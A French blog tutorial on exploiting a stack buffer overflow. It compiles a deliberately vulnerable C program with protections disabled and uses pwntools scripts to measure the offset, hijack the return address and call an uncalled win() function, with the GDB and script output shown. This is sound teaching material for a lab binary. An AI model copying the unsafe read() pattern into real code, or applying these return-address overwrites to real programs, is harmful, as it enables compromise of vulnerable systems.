Exploitation de binaire : détourner le flot d'exécution

15 août 2026 dans Security par Gerboise11 minutes

Introduction

Je me forme en ce moment aux techniques d’exploitation. Ici, cela montre les exploits de binaire et ce que j’ai revu et appris durant cette session d’apprentissage. Le but, globalement, est d’exploiter des buffer overflows pour contrôler le flot d’exécution et créer le nôtre : shellcode, exécution de fonctions protégées, etc.

Dans Écrire un shellcode x64 de zéro, j’avais fabriqué le payload : une suite d’octets qui, une fois exécutée, ouvre un shell. Restait la question la plus intéressante, et c’est celle de cette session : comment faire exécuter ces octets par un programme qui n’a jamais été prévu pour ça.

Le programme cible

Ici nous allons étudier un débordement de tampon dans un programme volontairement simple. L’intérêt est pédagogique : sur une vraie cible, la difficulté est d’abord de trouver la faille, ce qui noie la mécanique de l’exploitation sous des centaines de fonctions et des heures de rétro-ingénierie. En partant d’un programme dont on a le code source et qui tient sur un écran, la vulnérabilité est donnée d’avance, et toute l’attention peut aller sur ce qui nous intéresse : ce qui se passe exactement dans la pile au moment où on la déborde.

Un second avantage est la reproductibilité. Vous pouvez compiler ce fichier, relancer chaque commande de l’article et comparer vos résultats aux miens, sans dépendre d’un challenge en ligne ni d’un binaire fourni par quelqu’un d’autre.

#include <stdio.h>
#include <unistd.h>

void win(void)
{
    puts("[+] win() atteint");
}

void vulnerable_function(void)
{
    char buf[64];
    puts("input:");
    read(0, buf, 256);
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    vulnerable_function();
    puts("retour normal de main");
    return 0;
}

On le compile ainsi :

gcc -w -fno-stack-protector -no-pie -o vuln vuln.c

On enlève les protections mémoire pour se faciliter la vie : -fno-stack-protector retire le canari de pile et -no-pie fige les adresses du binaire. Le -w fait taire l’avertissement du compilateur, qui repère très bien la faille tout seul.

Ici la vulnérabilité se situe dans le fait que buf fait 64 octets alors que read en accepte 256. Cet overflow est à la main de l’utilisateur, par une lecture d’une saisie utilisateur. L’objectif est d’exécuter la fonction win(), que le programme n’appelle jamais.

pwntools

Tout l’outillage de cet article tient dans une seule bibliothèque Python : pwntools. Elle sert à deux choses. D’abord écrire les exploits plus vite, en fournissant déjà faits les gestes qu’on referait sinon à la main à chaque fois. Ensuite, et c’est le plus important, rendre le travail reproductible : un exploit devient un script qu’on relit, qu’on versionne et qu’on rejoue à l’identique, au lieu d’une suite de manipulations retapées dans un terminal.

C’est une dépendance Python, donc on l’installe dans un environnement virtuel plutôt que sur le système :

python3 -m venv .venv
source .venv/bin/activate
pip install pwntools

Quatre fonctionnalités suffisent pour tout cet article :

  • lancer et piloter le programme cible. process("./vuln") en local, remote("host", 1337) sur un service distant. L’API est la même dans les deux cas, ce qui permet de mettre au point un exploit en local puis de le lancer sur la vraie cible en changeant une ligne.
  • lire un binaire ELF. ELF("./vuln") donne l’état des protections et l’adresse des symboles, sans passer par readelf ni nm.
  • générer des motifs de test. cyclic() et cyclic_find(), qui servent à mesurer un offset en une seule exécution.
  • empaqueter les nombres. p64() et sa famille.

Une des difficultés qui prend de la bande passante cérébrale quand on écrit un payload est la gestion de l’endianness : sur x64, les octets d’une valeur sont rangés en mémoire à l’envers, du moins significatif au plus significatif. pwntools s’en charge pour nous avec ces fonctions. p8() à p64() empaquettent selon la taille du champ, 1, 2, 4 ou 8 octets, u8() à u64() relisent dans l’autre sens, et l’ordre des octets est pris dans context.endian sans qu’on ait à y penser.

Lire les protections

Avant d’écrire la moindre ligne d’exploit, on regarde ce qui est activé. C’est le réflexe à prendre en premier : chaque protection dicte la technique.

from pwn import *
print(ELF("./vuln").checksec())
[*] '/tmp/binexp/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

Le résumé apparaît deux fois : ELF() l’affiche déjà dans son log au chargement, et le print() le réaffiche. Une seule des deux lignes suffit, ELF("./vuln") seul fait le travail.

Traduction ligne par ligne :

  • Arch: amd64-64-little : binaire 64 bits, little-endian. C’est ce qui impose p64() plutôt que p32() par la suite.
  • No canary : rien ne vérifie l’intégrité de la pile à la sortie de la fonction. On l’a désactivé.
  • NX enabled : No eXecute, les pages inscriptibles, dont la pile, ne sont pas exécutables. Le shellcode de l’article précédent, déposé dans buf, ne servirait à rien ici. Le prochain article recompile justement le programme sans cette protection, pour pouvoir sauter dessus.
  • No PIE (0x400000) : le binaire est chargé à une adresse fixe. Toutes les adresses de ses fonctions sont connues statiquement.

Provoquer le crash

Avant de chercher à contrôler quoi que ce soit, on vérifie que le débordement fait bien ce qu’on croit. On envoie plus d’octets que le tampon n’en accepte :

from pwn import *

context.binary = ELF("./vuln")

p = process()
p.send(b"A" * 200)
p.wait()

log.info(f"code de sortie : {p.poll()}")
[*] '/tmp/binexp/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Starting local process '/tmp/binexp/vuln': pid 59959
[*] Process '/tmp/binexp/vuln' stopped with exit code -11 (SIGSEGV) (pid 59959)
[*] code de sortie : -11

Le code -11 est le signal 11, SIGSEGV : le processus est mort d’une violation de segment.

Le segfault seul ne prouve rien de précis. On regarde sous GDB ce que le programme s’apprêtait à faire. GDB attend son entrée dans un fichier, donc on écrit les 200 octets sur disque :

open("payload", "wb").write(b"A" * 200)
gdb -q ./vuln

Une fois dans GDB, on lance le programme en lui injectant le fichier, puis on regarde le sommet de la pile et les registres :

run < payload
x/gx $rsp
info registers rip rsp
Starting program: /tmp/binexp/vuln < payload
input:

Program received signal SIGSEGV, Segmentation fault.
0x00000000004004c1 in vulnerable_function ()
0x7fffffffd808:	0x4141414141414141
rip            0x4004c1            0x4004c1 <vulnerable_function+42>
rsp            0x7fffffffd808      0x7fffffffd808

Ici GDB nous indique que le programme s’apprête à sauter à une adresse invalide, 0x4141414141414141. Ce n’est pas une valeur au hasard : 0x41 est le code ASCII de la lettre A, celle qu’on vient d’envoyer 200 fois. Ce sont donc nos propres octets qui se retrouvent à l’endroit où le processeur va chercher sa prochaine destination (pourquoi ils atterrissent précisément là, c’est l’objet de la section suivante).

Sans pwntools, la même chose tient sur une ligne de shell :

python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)" | ./vuln

Pour lever le dernier doute, on remplace les A de l’adresse de retour par une valeur reconnaissable. Encore faut-il savoir combien d’octets de remplissage écrire avant elle.

Plutôt que de compter, on envoie un motif cyclique : une suite dans laquelle chaque tranche de 8 octets est unique. Il ne reste alors qu’à relire la tranche qui a atterri sur l’adresse de retour, et cyclic_find retrouve sa position dans le motif, c’est à dire l’offset cherché. Le n=8 n’est pas décoratif : par défaut cyclic() découpe en tranches de 4 octets, ce qui convient au 32 bits, alors qu’il en faut 8 ici.

Le script mesure donc l’offset, le garde dans une variable, puis rejoue le débordement avec 0xdeadbeef à la place de l’adresse de retour :

from pwn import *

context.binary = ELF("./vuln")
context.log_level = "warning"

# 1. mesurer l'offset avec un motif cyclique
p = process()
p.send(cyclic(200, n=8))
p.wait()
offset = cyclic_find(p.corefile.read(p.corefile.rsp, 8), n=8)
print(f"offset = {offset}")

# 2. rejouer avec une adresse de retour reconnaissable
p = process()
p.send(b"A" * offset + p64(0xDEADBEEF))
p.wait()
print(f"RIP    = {p.corefile.rip:#x}")
offset = 72
RIP    = 0xdeadbeef

p.corefile relit le core dump laissé par le processus mort, ce qui évite d’ouvrir GDB pour lire un registre. Encore faut il que le système les produise : ulimit -c unlimited si ce n’est pas le cas. Quand c’est systemd-coredump qui les collecte, comme sur Fedora, pwntools sait aller le chercher tout seul.

RIP vaut exactement 0xdeadbeef, la valeur qu’on a choisie. Le programme a sauté là où on le lui a demandé. C’est le contrôle du flot d’exécution à l’état brut : il ne reste plus qu’à mettre une adresse utile à la place. C’est puissant pwntools non ;) ?

La pile d’une fonction

Pour comprendre où sont allés nos A, il faut regarder comment une fonction s’installe en mémoire.

La pile est une zone qui croît vers les adresses basses : chaque nouvelle donnée empilée se place sous la précédente. Deux registres la décrivent à tout instant. RSP pointe sur son sommet, c’est à dire sur la donnée empilée la plus récemment. RBP sert de repère fixe pour la fonction en cours d’exécution, et tout ce qui l’intéresse se situe à un décalage constant de ce repère.

Sur x64, les six premiers paramètres d’un appel ne passent pas par la pile mais par les registres RDI, RSI, RDX, RCX, R8 et R9, dans cet ordre. Seuls les paramètres au delà du sixième sont empilés. C’est pour cette raison que RDI reviendra sans cesse dans la suite : c’est là que se trouve le premier argument de la fonction qu’on veut appeler.

L’appel lui même se déroule en trois temps. L’instruction call empile l’adresse de l’instruction suivante, c’est l’adresse de retour. Puis le prologue de la fonction appelée empile le RBP de son appelant pour pouvoir le restaurer plus tard, et installe le sien. Enfin il réserve d’un coup la place des variables locales en soustrayant à RSP.

Ces trois temps se lisent directement dans le désassemblage de notre fonction :

objdump -d --no-show-raw-insn -M intel vuln | sed -n '/<vulnerable_function>:/,/^$/p'
0000000000400497 <vulnerable_function>:
  400497:	push   rbp
  400498:	mov    rbp,rsp
  40049b:	sub    rsp,0x40
  40049f:	mov    edi,0x401242
  4004a4:	call   400370 <puts@plt>
  4004a9:	lea    rax,[rbp-0x40]
  4004ad:	mov    edx,0x100
  4004b2:	mov    rsi,rax
  4004b5:	mov    edi,0x0
  4004ba:	call   400380 <read@plt>
  4004bf:	nop
  4004c0:	leave
  4004c1:	ret

push rbp sauvegarde le repère de main, mov rbp,rsp installe celui de vulnerable_function, et sub rsp,0x40 réserve les 64 octets de buf. Le lea rax,[rbp-0x40] juste avant l’appel à read confirme où commence le tampon : à RBP - 0x40.

Le cadre de pile ressemble donc à ceci :

adresses basses
                    ┌──────────────────────┐
RSP  ────────────►  │  buf[64]             │  RBP - 0x40   c'est ici qu'on écrit
                    │                      │
                    ├──────────────────────┤
RBP  ────────────►  │  saved RBP           │  RBP          8 octets
                    ├──────────────────────┤
                    │  adresse de retour   │  RBP + 8      la cible
                    ├──────────────────────┤
                    │  7e paramètre et +   │  RBP + 16
                    └──────────────────────┘
adresses hautes

Tout se joue dans ce schéma. read écrit dans buf vers les adresses croissantes, donc de bas en haut sur ce dessin. Une fois les 64 octets du tampon remplis, l’écriture continue sur le saved RBP, puis sur l’adresse de retour. Il faut donc 0x40 octets pour traverser le tampon, plus 8 pour le saved RBP, soit 72 octets avant d’atteindre l’adresse de retour. C’est exactement l’offset que cyclic_find avait mesuré.

Quand vulnerable_function se termine, leave restaure RBP et ret dépile ce qu’il trouve au sommet pour le charger dans RIP. À ce moment là, ce n’est plus l’adresse dans main qui s’y trouve, mais nos octets.

Sauter dans win()

Tout est en place. Il ne reste plus qu’à mettre la bonne adresse à la place de 0xdeadbeef : celle de win(), la fonction que le programme n’appelle jamais.

Nul besoin d’aller la chercher avec nm, l’objet ELF la connaît déjà :

from pwn import *

context.binary = elf = ELF("./vuln")
context.log_level = "warning"

# 1. mesurer l'offset
p = process()
p.send(cyclic(200, n=8))
p.wait()
offset = cyclic_find(p.corefile.read(p.corefile.rsp, 8), n=8)

# 2. cette fois, une adresse utile
print(f"win() = {elf.symbols['win']:#x}")

p = process()
p.send(b"A" * offset + p64(elf.symbols["win"]))
print(p.recvall(timeout=2).decode())
win() = 0x400486
input:
[+] win() atteint

Le programme exécute une fonction qu’il n’appelle nulle part dans son code. Une seule valeur a changé par rapport au script précédent, 0xdeadbeef est devenu elf.symbols["win"], et c’est tout ce qui sépare un crash d’un détournement de flot d’exécution.

Le processus meurt ensuite d’un SIGSEGV, ce qui est normal : le saved RBP a été écrasé par des A, donc le leave ; ret de win() retourne dans le vide. Le message est affiché avant le crash, ce qui suffit ici.

Conclusion

Cet article donne les bases de l’exploitation de buffer overflow. J’avais appris à en faire via de simples chaînes Python, et là ça m’a permis de mettre le pied à l’étrier de pwntools, qui est un outil très très très puissant.

Cela dit, c’est ici un exemple très simple et sans protection, mais très utile pour prendre la main sur ces sujets.